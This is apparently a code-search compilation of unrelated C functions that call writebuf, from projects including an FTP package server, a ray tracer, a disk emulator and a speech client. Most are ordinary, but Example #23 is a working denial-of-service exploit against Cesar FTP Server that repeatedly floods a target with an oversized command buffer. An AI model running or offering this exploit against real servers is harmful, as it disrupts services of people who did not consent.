Example #1
0
int perform_custom(int fd, char *tag)
{
    int string;
    int addr;
    int red;
    int i;
    unsigned char out[4];

    if (strcmp(tag, "hammer") == 0)
    {
        build_bulb(out, 0, 0, 0xcc, 0, 0, 13, 0);
        for (i = 0; i < 6000; i++)
        {
            writebuf(fd, out, 4);
            flush_buffer(fd);
            if (getok(fd, 1, 1000 * 1000) < 0)
                fprintf(stderr, "Error:  did not get closing ack\n");
        }

        return 0;
    }

    if (strcmp(tag, "one") == 0)
    {
        build_bulb(out, 0, 0, 0xcc, 15, 0, 0, 0);
        writebuf(fd, out, 4);
        for (red = 0; red < 500; red++)
        {
            flush_buffer(fd);
            usleep(1000);
        }
        return 0;
    }

    if (strcmp(tag, "red") == 0)
    {
        while (1)
        {
            for (red = 0; red <= 15; red++)
            {
                for (addr = 0; addr <= 34; addr++)
                {
                    for (string = 0; string <= 5; string++)
                    {
                        build_bulb(out, string, addr, 0xcc, red, 0, 0, string == 5 ? 0 : 1);
                        writebuf(fd, out, 4);
                    }
                }
            }
        }
        return 0;
    }

    return -1;
}
Example #2
0
/*
 * Funzione utilizzata per riceve un pacchetto dal client.
 * Restituisce:
 *  0 se esiste gia' un pacchetto con quel nome o il numero di versione e inferiore
 * -1 se raggiunta la quantita' massima di pacchetti
 * -2 se non e' stato effettuato il login
 */
int receive_pkg(int mode) {
	writebuf("(receive)\t %d Ricevo il pacchetto %s\n", req.pid, req.pkg.nome);
	req.tipo = req.pid;

	if (check_auth(req.pid, req.pwd) || is_auth(req.pid) != -1) {  //Controllo l'autorizzazione con la funzione breve o con la ricerca
		if (mode == M_ADD) {
			req.todo = addv(req.pkg.nome, req.pkg.ver);
			if (req.todo == -1) writebuf("(add)\t\t %d Raggiunta la quantita' massima di pacchetti. %s non inserito [ERRORE]\n", req.pid, req.pkg.nome);
			else if (req.todo == 0) writebuf("(add)\t\t %d %s Esiste gia' nel server. [ERRORE] \n", req.pid, req.pkg.nome);
			else {	
				writebuf("(add)\t\t %d %s aggiunto correttamente\n", req.pid, req.pkg.nome);
				avvisa_push();  //Invio un segnale ai client push
			}
		} else {
			req.todo = update(req.pkg.nome, req.pkg.ver);
			if (req.todo == -1)
				writebuf("(update)\t %d %s non e' presente sul server [ERRORE]\n",req.pid, req.pkg.nome);
			else if (req.todo == 0) 
				writebuf("(update)\t %d %s ver. %d appena inviato e' meno aggiornato di quello nel server [ERRORE]\n",
						req.pid, req.pkg.nome, req.pkg.ver);
			else {
				writebuf("(update)\t %d %s aggiornato correttamente\n", req.pid, req.pkg.nome);
				avvisa_push();  //Invio un segnale ai client push
			}
		}
	} else {
		req.todo = -2;
		writebuf("(receive)\t %d Non autenticato [ERRORE]\n", req.pid);
	}
	//Invio il messaggio di risposta
	msg_send(&req, msgl, msgid);
	writebuf("(receive)\t %d Report inviato\n", req.pid);

	return req.todo;
}
Example #3
0
/*
 * Funzione utilizzata per autenticare un client, in modo che possa eseguire l'upload.
 * Restituisce la posizione in caso di successo
 * -1 nel caso in cui la password sia sbagliata
 * -2 se il client è già autenticato
 * -3 nel caso viene raggiunto il massimo numero di client autorizzabili
 * -4 solo nel caso di richiesta di logout se fallisce
 * -5 se non ha trovato il pid con cui fare il logout
 */
int autentica() {
	req.tipo = req.pid;

	// Controllo se la richiesta e' di logout
	if (req.pwd == -1) {
		writebuf("(auth)\t\t %d Richiesta di logout\n", req.pid);

		req.todo = logout(req.pid);

		//Invio il messaggio di risposta
		msg_send(&req, msgl, msgid);

		writebuf("(auth)\t\t %d Logout inviato\n", req.pid);

		return req.todo;
	}

	writebuf("(auth)\t\t %d Richiesta di autenticazione\n", req.pid);

	req.todo = login(req.pid, req.pwd);

	if (req.todo == -1) writebuf("(auth)\t\t %d Password errata [ERRORE]\n", req.pid);
	else if (req.todo == -2) writebuf("(auth)\t\t %d Client già autenticato [ERRORE]\n", req.pid);
	else if (req.todo == -3) writebuf("(auth)\t\t %d Impossibile aggiungere ulteriori client [ERRORE]\n", req.pid);
	else writebuf("(auth)\t\t %d Autorizzazione n. %d\n", req.pid, req.todo);

	//Invio il messaggio di risposta
	msg_send(&req, msgl, msgid);

	writebuf("(auth)\t\t %d Report autenticazione inviato \n", req.pid);
	return req.todo;
}
static int
ray_pflush(void)			/* send queued rays to idle children */
{
	int	nc, n, nw, i, sfirst;

	if ((ray_pnidle <= 0) | (r_send_next <= 0))
		return(0);		/* nothing we can send */
	
	sfirst = 0;			/* divvy up labor */
	nc = ray_pnidle;
	for (i = ray_pnprocs; nc && i--; ) {
		if (r_proc[i].npending > 0)
			continue;	/* child looks busy */
		n = (r_send_next - sfirst)/nc--;
		if (!n)
			continue;
					/* smuggle set size in crtype */
		r_queue[sfirst].crtype = n;
		nw = writebuf(r_proc[i].fd_send, (char *)&r_queue[sfirst],
				sizeof(RAY)*n);
		if (nw != sizeof(RAY)*n)
			return(-1);	/* write error */
		r_proc[i].npending = n;
		while (n--)		/* record ray IDs */
			r_proc[i].rno[n] = r_queue[sfirst+n].rno;
		sfirst += r_proc[i].npending;
		ray_pnidle--;		/* now she's busy */
	}
	if (sfirst != r_send_next)
		error(CONSISTENCY, "code screwup in ray_pflush()");
	r_send_next = 0;
	return(sfirst);			/* return total # sent */
}
Example #5
0
static void
queue_packet(			/* queue up a beam packet */
	register PACKET	*p
)
{
	int	pn, n;
				/* determine process to write to */
	if ((pn = bestout()) < 0)
		error(INTERNAL, "rtrace input queues are full!");
				/* write out the packet */
	packrays(rtbuf, p);
	if ((n = p->nr) < RPACKSIZ)	/* add flush block? */
		memset((char *)(rtbuf+6*n++), '\0', 6*sizeof(float));
	if (writebuf(rtpd[pn].w, (char *)rtbuf, 6*sizeof(float)*n) < 0)
		error(SYSTEM, "write error in queue_packet");
	p->next = NULL;
	if (!pqlen[pn]++)	/* add it to the end of the queue */
		pqueue[pn] = p;
	else {
		register PACKET	*rpl = pqueue[pn];
		while (rpl->next != NULL)
			rpl = rpl->next;
		rpl->next = p;
	}
}
Example #6
0
void obitfs_put(OBITFS *bfs, unsigned int data, unsigned int len)
{
  unsigned int d;
  unsigned int t;
#ifdef NDEBUG
  len = (len - 1) & 0x0000001F;
  len++;
#else
  if(len > 32 || len == 0){
    fputs("len is greater than 32.\n", stderr);
    exit(EXIT_FAILURE);
  }
#endif
  if(len != 32) data &= (1 << len) - 1;
  t = 8 - bfs->bpos;
  while(t <= len){
    bfs->buf[bfs->pos] |= data >> (len - t);
    len -= t;
    t = 8;
    bfs->bpos = 0;
    bfs->pos++;
    if(bfs->pos == BFS_BUFFER_SIZE) writebuf(bfs);
  }
  if(len){
    bfs->buf[bfs->pos] |= data << (8 - bfs->bpos - len);
    bfs->bpos += len;
  }
}
Example #7
0
int32 dsk10(int32 io, int32 data)
{

    if (io == 0) {                                      /* IN: return flags */
        return ((~cur_flags[cur_disk]) & 0xFF);         /* Return the COMPLEMENT! */
    }

    /* OUT: Controller set/reset/enable/disable */

    if (dirty == 1)
        writebuf();

    /*printf("\n[%o] OUT 10: %x", PCX, data);*/
    cur_disk = data & 0x0F;
    if (data & 0x80) {
        cur_flags[cur_disk] = 0;                        /* Disable drive */
        cur_sect[cur_disk = 0377];
        cur_byte[cur_disk = 0377];
        return (0);
    }
    cur_flags[cur_disk] = 0x1A;                         /* Enable: head move true */
    cur_sect[cur_disk] = 0377;                          /* reset internal counters */
    cur_byte[cur_disk] = 0377;
    if (cur_track[cur_disk] == 0)
        cur_flags[cur_disk] |= 0x40;                    /* track 0 if there */
    return (0);
}
Example #8
0
/**
 * Flush all the dirty pages to disk.
 *
 * @return the amount of pages successfully flushed as a positive number
 * if everything was fine, 0 if there was nothing to flush, and -1 if there
 * were I/O errors (errno is set).
 */
ssize_t
flush_dirtypag(DBM *db)
{
	struct lru_cache *cache = db->cache;
	int n;
	ssize_t amount = 0;
	int saved_errno = 0;
	long pages;

	sdbm_lru_check(cache);

	pages = MIN(cache->pages, cache->next);

	for (n = 0; n < pages; n++) {
		if (cache->dirty[n]) {
			long num = cache->numpag[n];
			if (writebuf(db, num, n)) {
				amount++;
			} else {
				saved_errno = errno;
			}
		}
	}

	if (saved_errno != 0) {
		errno = saved_errno;
		return -1;
	}

	return amount;
}
Example #9
0
vm_result_t vm_family(vm_connection_t con, unsigned char lang, char* family)
{
  unsigned long i;
  char* buf = NULL;
  assert(con != VOICEMAN_BAD_CONNECTION);
  if (con == VOICEMAN_BAD_CONNECTION)
    return VOICEMAN_ERROR;
  assert(family);
  if (!family)
    return VOICEMAN_ERROR;
  for(i = 0;family[i] != '\0';i++)
    if (family[i] == ':' || family[i] == '\n')
      return VOICEMAN_ERROR;
  buf = (char*)malloc(strlen(family) + 32);
  if (buf == NULL)
    return VOICEMAN_ERROR;
  if (lang == VOICEMAN_LANG_NONE)
    sprintf(buf, "F:%s\n", family); else
  if (lang == VOICEMAN_LANG_ENG)
    sprintf(buf, "F:%s:eng\n", family); else
  if (lang == VOICEMAN_LANG_RUS)
    sprintf(buf, "F:%s:rus\n", family); else
    {
      free(buf);
      return VOICEMAN_ERROR;
    }
  if (writebuf(con, buf, strlen(buf)) == -1)
    {
      free(buf);
      return VOICEMAN_ERROR;
    }
  free(buf);
  return VOICEMAN_OK;
}
Example #10
0
vm_result_t vm_text(vm_connection_t con, char* text)
{
  unsigned long k, i;
  char* t;
  assert(con != VOICEMAN_BAD_CONNECTION);
  if (con == VOICEMAN_BAD_CONNECTION)
    return VOICEMAN_ERROR;
  assert(text);
  if (!text)
    return VOICEMAN_ERROR;
  k = strlen(text);
  if (k == 0)
    return VOICEMAN_OK;
  t = (char*)malloc(k + 1);
  if (t == NULL)
    return VOICEMAN_ERROR;
  strcpy(t, text);
  for(i = 0;i < k;i++)/*all \n must be replaced with spaces;*/
    if (t[i] == '\n')
      t[i] = ' ';
  if (writeblock(con, "T:", 2) == -1)
    {
      free(t);
      return VOICEMAN_ERROR;
    }
  if (writebuf(con, t, k) == -1)
    {
      free(t);
      return VOICEMAN_ERROR;
    }
  free(t);
  if (writeblock(con, "\n", 1) == -1)
    return VOICEMAN_ERROR;
  return VOICEMAN_OK;
}
Example #11
0
int32 dsk12(const int32 port, const int32 io, const int32 data) {
    int32 i, rtn;
    UNIT *uptr;

    if (current_disk >= NUM_OF_DSK) {
        if ((dsk_dev.dctrl & VERBOSE_MSG) && (warnDSK12 < warnLevelDSK)) {
            warnDSK12++;
            sim_debug(VERBOSE_MSG, &dsk_dev,
                      "DSK%i: " ADDRESS_FORMAT
                      " Attempt of %s 0x0a on unattached disk - ignored.\n",
                      current_disk, PCX, selectInOut(io));
        }
        return 0;
    }

    /* now current_disk < NUM_OF_DSK */
    in9_count = 0;
    uptr = dsk_dev.units + current_disk;
    if (io == 0) {
        if (current_byte[current_disk] >= DSK_SECTSIZE) {
            /* physically read the sector */
            sim_debug(READ_MSG, &dsk_dev,
                      "DSK%i: " ADDRESS_FORMAT " IN 0x0a (READ) D%d T%d S%d\n",
                      current_disk, PCX, current_disk,
                      current_track[current_disk], current_sector[current_disk]);
            for (i = 0; i < DSK_SECTSIZE; i++)
                dskbuf[i] = 0;
            if (dskseek(uptr)) {
                if ((dsk_dev.dctrl & VERBOSE_MSG) && (warnDSK12 < warnLevelDSK)) {
                    warnDSK12++;
                    sim_debug(VERBOSE_MSG, &dsk_dev,
                              "DSK%i: " ADDRESS_FORMAT " fseek error D%d T%d S%d\n",
                              current_disk, PCX, current_disk,
                              current_track[current_disk], current_sector[current_disk]);
                }
            }
            rtn = sim_fread(dskbuf, 1, DSK_SECTSIZE, uptr -> fileref);
            if (rtn != DSK_SECTSIZE) {
                if ((dsk_dev.dctrl & VERBOSE_MSG) && (warnDSK12 < warnLevelDSK)) {
                    warnDSK12++;
                    sim_debug(VERBOSE_MSG, &dsk_dev,
                              "DSK%i: " ADDRESS_FORMAT " sim_fread error D%d T%d S%d\n",
                              current_disk, PCX, current_disk,
                              current_track[current_disk], current_sector[current_disk]);
                }
            }
            current_byte[current_disk] = 0;
        }
        return dskbuf[current_byte[current_disk]++] & 0xff;
    }
    else {
        if (current_byte[current_disk] >= DSK_SECTSIZE)
            writebuf();     /* from above we have that current_disk < NUM_OF_DSK */
        else {
            dirty = TRUE;   /* this guarantees for the next call to writebuf that current_disk < NUM_OF_DSK */
            dskbuf[current_byte[current_disk]++] = data & 0xff;
        }
        return 0;   /* ignored since OUT */
    }
}
Example #12
0
void perform_status(int fd)
{
    unsigned char out[4];
    memset(out, 0, sizeof(out));

    BULB_FLAG_ADDRESS(out) = COMMAND_STATUS;
    writebuf(fd, out, sizeof(out));
    if (findone(fd, '\0', 5000 * 1000) <= 0)
        fprintf(stderr, "Error getting null during cmd\n");
}
Example #13
0
static void
putch(int ch, void *thunk)
{
	struct printbuf *b = (struct printbuf *) thunk;
	b->buf[b->idx++] = ch;
	if (b->idx == 256) {
		writebuf(b);
		b->idx = 0;
	}
}
Example #14
0
static void
copycat(void)			/* copy input to output */
{
	char	buf[8192];
	int	n;

	fflush(stdout);
	while ((n = fread(buf, 1, sizeof(buf), stdin)) > 0)
		if (writebuf(fileno(stdout), buf, n) != n)
			break;
}
Example #15
0
vm_result_t vm_volume(vm_connection_t con, unsigned char value)
{
  char buf[64];
  assert(con != VOICEMAN_BAD_CONNECTION);
  if (con == VOICEMAN_BAD_CONNECTION)
    return VOICEMAN_ERROR;
  sprintf(buf, "V:%u\n", value);
  if (writebuf(con, buf, strlen(buf)) == -1)
    return VOICEMAN_ERROR;
  return VOICEMAN_OK;
}
Example #16
0
vm_result_t vm_tone(vm_connection_t con, unsigned long freq, unsigned long lengthms)
{
  char buf[64];
  assert(con != VOICEMAN_BAD_CONNECTION);
  if (con == VOICEMAN_BAD_CONNECTION)
    return VOICEMAN_ERROR;
  sprintf(buf, "B:%lu:%lu\n", freq, lengthms);
  if (writebuf(con, buf, strlen(buf)) == -1)
    return VOICEMAN_ERROR;
  return VOICEMAN_OK;
}
Example #17
0
/* Funzione utilizzata per allocare aree di memoria e settare il valore dei semafori  */
int setup() {
	log_date(LOG_PATH, "Settaggio parametri");

	// Allocazione aree di memoria
	rep = (repo *) shmat(shmid, NULL, 0);
	ls = (numlettori *) shmat(shmls, NULL, 0);
	aut = (auth *) shmat(shmauth, NULL, 0);
	pus = (push *) shmat(shmpush, NULL, 0);

	// Impostazione a 0 delle variabili contatori
	rep->n = 0;
	aut->n = 0;
	pus->n = 0;

	int po = 0;
	for(; po < SEM_TOT; po++)
		ls->n[po] = 0;

	// Settaggio seamfori
	semctl(semid, SEM_SERVER, SETVAL, MAX_SERVER - 1);
	semctl(semid, BUFFER_MUTEX, SETVAL, 1);
	semctl(semid, LS_SCRIVI, SETVAL, 1);
	semctl(semid, LS_MUTEX, SETVAL, 1);
	semctl(semid, AUTH_MUTEX, SETVAL, 1);
	semctl(semid, AUTH_SCRIVI, SETVAL, 1);
	semctl(semid, PUSH_MUTEX, SETVAL, 1);
	semctl(semid, PUSH_SCRIVI, SETVAL, 1);
	semctl(semid, QUEUE_SEM, SETVAL, QUEUE_MAX - 1);

	padre = getpid();

	writebuf("\n(start) Avvio del server completato: ID %d\n", padre);
	writebuf("\n(Aree di memora allocate)\nSEM: %d\nMSG: %d\nSHM: %d\nSHMLOG: %d\nSHMLS: %d\nSHMAUTH: %d\nSHMPUSH: %d\n\n",
			semid, msgid, shmid, shmlog, shmls, shmauth, shmpush);
	/* SIG_IGN al segnlae di terminazione dei figli
	 * i figli terminati non diventeranno zombie */
	signal(SIGCHLD, SIG_IGN);
	signal(SIGINT, server_stop);  // Forza lo spegnimento premendo ctrl + c
	// Lettura repository iniziale
	return read_repo(SERVER_INITIAL_REPO);
}
Example #18
0
/* Funzione utilizzata per disallocare le risorse  */
void server_stop() {
	int notread = 1;
	//Stampa i messagggi in coda
	while (number_msges_in_queue(msgid) != 0) {
		msgrcv(msgid, &req, msgl, 0, 0);
		writebuf("(messaggio) %d - pid %d - todo: %d tip: %ld\n", notread++,
				req.pid, req.todo, req.tipo);
	}
	termina_push();  //Termino i push

	// Scrittura su file del buffer
	buffer *log;
	log = (buffer *) shmat(shmlog, NULL, 0);
	if (log->n > 0) writelog(LOG_PATH, log->text, "a");
	shmdt(log);

	// Salvo il repository attuale del server
	char mypack[MAX_STR + 5];int
	i = 0;
	char pidlog[25];
	sprintf(pidlog, "%s_%d.repo", LOG_PATH, padre);
	log_date(pidlog, "(shutdown) Salvataggio repository su file");
	for (; i < rep->n; i++) {
		sprintf(mypack, "%s %d\n", rep->lista[i].nome, rep->lista[i].ver);
		writelog(pidlog, mypack, "a");
	}
	
	shmdt(rep); shmdt(aut); shmdt(pus); shmdt(ls);
	
	// Rimozione risorse allocate
	if (semctl(semid, 0, IPC_RMID) == -1) errorlog(LOG_PATH, "(shutdown) Impossibile rimuovere semafori");
	if (shmctl(shmid, 0, IPC_RMID) == -1) errorlog(LOG_PATH, "(shutdown) Impossibile rimuovere Area di memoria Repository");
	if (shmctl(shmlog, 0, IPC_RMID) == -1) errorlog(LOG_PATH, "(shutdown) Impossibile rimuovere Area di memoria LOG");
	if (shmctl(shmls, 0, IPC_RMID) == -1) errorlog(LOG_PATH, "(shutdown) Impossibile rimuovere Area di memoria LETTORI/SCRITTORI");
	if (shmctl(shmauth, 0, IPC_RMID) == -1) errorlog(LOG_PATH, "(shutdown) Impossibile rimuovere Area di memoria AUTORIZZAZIONI");
	if (shmctl(shmpush, 0, IPC_RMID) == -1) errorlog(LOG_PATH, "(shutdown) Impossibile rimuovere Area di memoria PUSH");
	if (msgctl(msgid, 0, IPC_RMID) == -1) errorlog(LOG_PATH, "(shutdown) Impossibile rimuovere coda messaggi");

	//Statistiche
	log_date(LOG_PATH, "(stats) ");
	log_date(LOG_PATH, "(stats) %d richieste elaborate", counter_r);
	log_date(LOG_PATH, "(stats) %d richieste di download", counter_d);
	log_date(LOG_PATH, "(stats) %d richieste di upload", counter_u);
	log_date(LOG_PATH, "(stats) %d autorizzazioni client push", counter_p);
	log_date(LOG_PATH, "(stats) %d autorizzazioni client upload", counter_a);
	log_date(LOG_PATH, "(stats) Data di accensione\t --> %s", start_date);
	get_date(start_date);
	log_date(LOG_PATH, "(stats) Data di spegnimento\t --> %s", start_date);
	log_date(LOG_PATH, "(stats) ");

	log_date(LOG_PATH, "(shutdown) Spegnimento server completato");
	exit(0);
}
Example #19
0
void LOG::write()
{
	if(flag)
	{
		while(!buf.empty())
		{
			writebuf("buf\n");
			buf.pop_front();
		}
	}
	else
	{
		while(!buf1.empty())
		{
			writebuf("buf1\n");
			buf1.pop_front();
		}
	}
	sync();
	isWriting = false;
}
Example #20
0
/*
 * Funzione utilizzata per registrare un nuovo client di push
 * Restituisce la posizione in caso di successo.
 * -1 se il client e' gia' registrato per il servizio push
 * -2 nel caso viene raggiunto il massimo numero di client push
 */
int registra_push() {
	writebuf("(push)\t\t %d Richiesta di registrazione\n", req.pid);

	req.tipo = req.pid;
	req.todo = iscrivi_push(req.pid);

	if (req.todo == -1)
		writebuf("(push)\t %d Client push gia' autenticato [ERRORE]\n", req.pid);
	else if (req.todo == -2) 
		writebuf("(push)\t %d Impossibile aggiungere ulteriori client [ERRORE]\n",
				req.pid);
	else 
		writebuf("(push)\t %d Client registrato: %d\n", req.pid,
				req.todo);

	//Invio il messaggio di risposta
	msg_send(&req, msgl, msgid);

	writebuf("(push)\t %d Report autorizzazione inviato\n", req.pid);

	return req.todo;
}
Example #21
0
/****************************** Single-File Log ******************************/
gpointer flatlog_thread(gpointer d)
{
    int fd = open("logfile", O_CREAT|O_WRONLY|O_TRUNC, 0666);
    g_assert(fd >= 0);

    int count = 0;

    while (TRUE) {
        struct item *item = get_item();

        writebuf(fd, item->key, strlen(item->key) + 1);
        writebuf(fd, (char *)&item->len, sizeof(item->len));
        writebuf(fd, item->data, item->len);

        count++;
        if (count % opt_batchsize == 0)
            fdatasync(fd);

        finish_item(item);
    }

    return NULL;
}
Example #22
0
void loginftp(SOCKET sockfd, char *user, char *pass)
{
    int j;
    
    show=1;
    readbuf("Get FTP Server banner",sockfd, recvbuf, SIZE);
    //show=0;

    //send USER username
    memset(sendbuf,0,BUFFSIZE);
    j=sprintf(sendbuf,"%s %s\r\n", "USER", user);
    writebuf("Send USER", sockfd,sendbuf,j);
    readbuf(NULL,sockfd, recvbuf, BUFFSIZE);
    checkstatus(recvbuf);

    //send PASS password
    memset(sendbuf,0,BUFFSIZE);
    j=sprintf(sendbuf,"%s %s\r\n","PASS", pass);
    writebuf("Send PASS", sockfd, sendbuf, j);
    readbuf(NULL,sockfd,recvbuf, BUFFSIZE);
    checkstatus(recvbuf);
    printf("[+] User %s logged in.\r\n", user);
}
Example #23
0
void main(int argc, char *argv[])
{
   WSADATA wsa;
   unsigned short    port;
   unsigned long     ip;

   SOCKET s;
   int size = SIZE;

   printf("Cesar FTP Server Long Command DoS Exploit\r\n");
       printf("lion lion#cnhonker.net, http://www.cnhonker.com\r\n\n");

   if(argc < 3)
   {
       printf("%s <TargetHost> <TargetPort>\r\n", argv[0]);
       return;
   }
   
   WSAStartup(MAKEWORD(2,2),&wsa);

   if((s=create_socket())==0)
   {
       printf("[-] ERROR: Create socket failed.\r\n");
       return;
   }
     
   if(!client_connect(s, argv[1], atoi(argv[2])))
       exit(-1);
 
   readbuf("read", s, recvbuf, BUFFSIZE);

   memset(sendbuf, 0, BUFFSIZE);
   memset(sendbuf, 'A', size);

   sendbuf[size-2] ='\r';
   sendbuf[size-1] ='\n';
     
   while(1)
   {
       show=1;
       writebuf("Send Buff", s, sendbuf, size);
       readbuf("read", s, recvbuf, BUFFSIZE);
       Sleep(1000);
   }
    
   if(s)
       closesocket(s);
         
   WSACleanup();
}
Example #24
0
int
vfprintf(int fd, const char *fmt, va_list ap)
{
	struct printbuf b;

	b.fd = fd;
	b.idx = 0;
	b.result = 0;
	b.error = 1;
	vprintfmt(putch, &b, fmt, ap);
	if (b.idx > 0)
		writebuf(&b);

	return (b.result ? b.result : b.error);
}
Example #25
0
int
process(		/* process data through pd */
SUBPROC *pd,
char	*recvbuf, char *sendbuf,
int	nbr, int nbs
)
{
	if (nbs > PIPE_BUF)
		return(-1);
	if (!pd->running)
		return(-1);
	if (writebuf(pd->w, sendbuf, nbs) < nbs)
		return(-1);
	return(readbuf(pd->r, recvbuf, nbr));
}
Example #26
0
/* Cerca e invia il pacchetto richiesto dal client tramite messaggio. */
int download_one() {
	writebuf("(download)\t %d Cerco il pacchetto %s\n", req.pid, req.pkg.nome);
	req.tipo = req.pid;

	// Cerco il nome richiesto nel repository
	int i = find(req.pkg.nome);

	if (i != -1) {  // Se il pacchetto esiste lo inserisco nel messaggio
		req.todo = 1;
		req.pkg = get_pkgid(i);

		writebuf("(download)\t %d Pacchetto %s trovato\n", req.pid, req.pkg.nome);
	} else {  // Altrimenti creo un pacchetto non trovato
		req.todo = 0;
		writebuf("(download)\t %d Pacchetto %s non trovato [ERRORE] \n", req.pid, req.pkg.nome);
		req.pkg = mkpkg("notfound", -1);  // Altrimenti creo un pacchetto notfound
	}

	//Invio il messaggio di risposta
	msg_send(&req, msgl, msgid);

	writebuf("(download)\t %d Pacchetto %s spedito\n", req.pid, req.pkg.nome);
	return req.todo;
}
Example #27
0
/* Funzione utilizzata da un client per scaricare tutti i pacchetti presenti all'interno del repository. */
int download_all() {
	writebuf("(download all)\t %d Preparo il repository su file\n", req.pid);

	req.tipo = req.pid;
	char mypack[MAX_STR + 10];int
	i = 0;
	char pidlog[25];

	int check = 1;  //Se check e' falsa: problemi a scrivere sul file
	sprintf(pidlog, "%s%d.repo", LOG_CLIENT, req.pid);

	waitL(LS_SCRIVI, LS_MUTEX);
	// Inizio sezione critica
	for (; i < rep->n && check; i++) {
		sprintf(mypack, "%s %d\n", rep->lista[i].nome, rep->lista[i].ver);
		check = writelog(pidlog, mypack, "a");
	}
	// Fine sezione critica
	signalL(LS_SCRIVI, LS_MUTEX);

	// Il file e' pronto?
	if (check) {
		req.todo = 1;
		writebuf("(download all)\t %d Repository su file pronto\n", req.pid);
	} else {
		req.todo = 0;
		writebuf("(download all)\t %d Impossibile scrivere il repository su file [ERRORE]\n", req.pid);
	}

	// Risposta al cliente
	//Invio il messaggio di risposta
	msg_send(&req, msgl, msgid);

	writebuf("(download all)\t %d Repository spedito\n", req.pid);
	return req.todo;
}
Example #28
0
vm_result_t vm_letter(vm_connection_t con, char* letter)
{
  assert(con != VOICEMAN_BAD_CONNECTION);
  if (con == VOICEMAN_BAD_CONNECTION)
    return VOICEMAN_ERROR;
  assert(letter);
  if (!letter)
    return VOICEMAN_ERROR;
  if (writeblock(con, "L:", 2) == -1)
    return VOICEMAN_ERROR;
  if (writebuf(con, letter, strlen(letter)) == -1)
    return VOICEMAN_ERROR;
  if (writeblock(con, "\n", 1) == -1)
    return VOICEMAN_ERROR;
  return VOICEMAN_OK;
}
static void
ray_pchild(	/* process rays (never returns) */
	int	fd_in,
	int	fd_out
)
{
	int	n;
	register int	i;
					/* flag child process for quit() */
	ray_pnprocs = -1;
					/* read each ray request set */
	while ((n = read(fd_in, (char *)r_queue, sizeof(r_queue))) > 0) {
		int	n2;
		if (n < sizeof(RAY))
			break;
					/* get smuggled set length */
		n2 = sizeof(RAY)*r_queue[0].crtype - n;
		if (n2 < 0)
			error(INTERNAL, "buffer over-read in ray_pchild()");
		if (n2 > 0) {		/* read the rest of the set */
			i = readbuf(fd_in, (char *)r_queue + n, n2);
			if (i != n2)
				break;
			n += n2;
		}
		n /= sizeof(RAY);
					/* evaluate rays */
		for (i = 0; i < n; i++) {
			r_queue[i].crtype = r_queue[i].rtype;
			r_queue[i].parent = NULL;
			r_queue[i].clipset = NULL;
			r_queue[i].slights = NULL;
			r_queue[i].rlvl = 0;
			samplendx += samplestep;
			rayclear(&r_queue[i]);
			rayvalue(&r_queue[i]);
		}
					/* write back our results */
		i = writebuf(fd_out, (char *)r_queue, sizeof(RAY)*n);
		if (i != sizeof(RAY)*n)
			error(SYSTEM, "write error in ray_pchild()");
	}
	if (n)
		error(SYSTEM, "read error in ray_pchild()");
	ambsync();
	quit(0);			/* normal exit */
}
Example #30
0
vm_result_t vm_procmode(vm_connection_t con, unsigned char procmode)
{
  char buf[32];
  assert(con != VOICEMAN_BAD_CONNECTION);
  if (con == VOICEMAN_BAD_CONNECTION)
    return VOICEMAN_ERROR;
  if (procmode == VOICEMAN_PROCMODE_ALL)
    strcpy(buf, "M:all\n"); else
  if (procmode == VOICEMAN_PROCMODE_NONE)
    strcpy(buf, "M:none\n"); else
  if (procmode == VOICEMAN_PROCMODE_SOME)
    strcpy(buf, "M:some\n"); else
    return VOICEMAN_ERROR;
  if (writebuf(con, buf, strlen(buf)) == -1)
    return VOICEMAN_ERROR;
  return VOICEMAN_OK;
}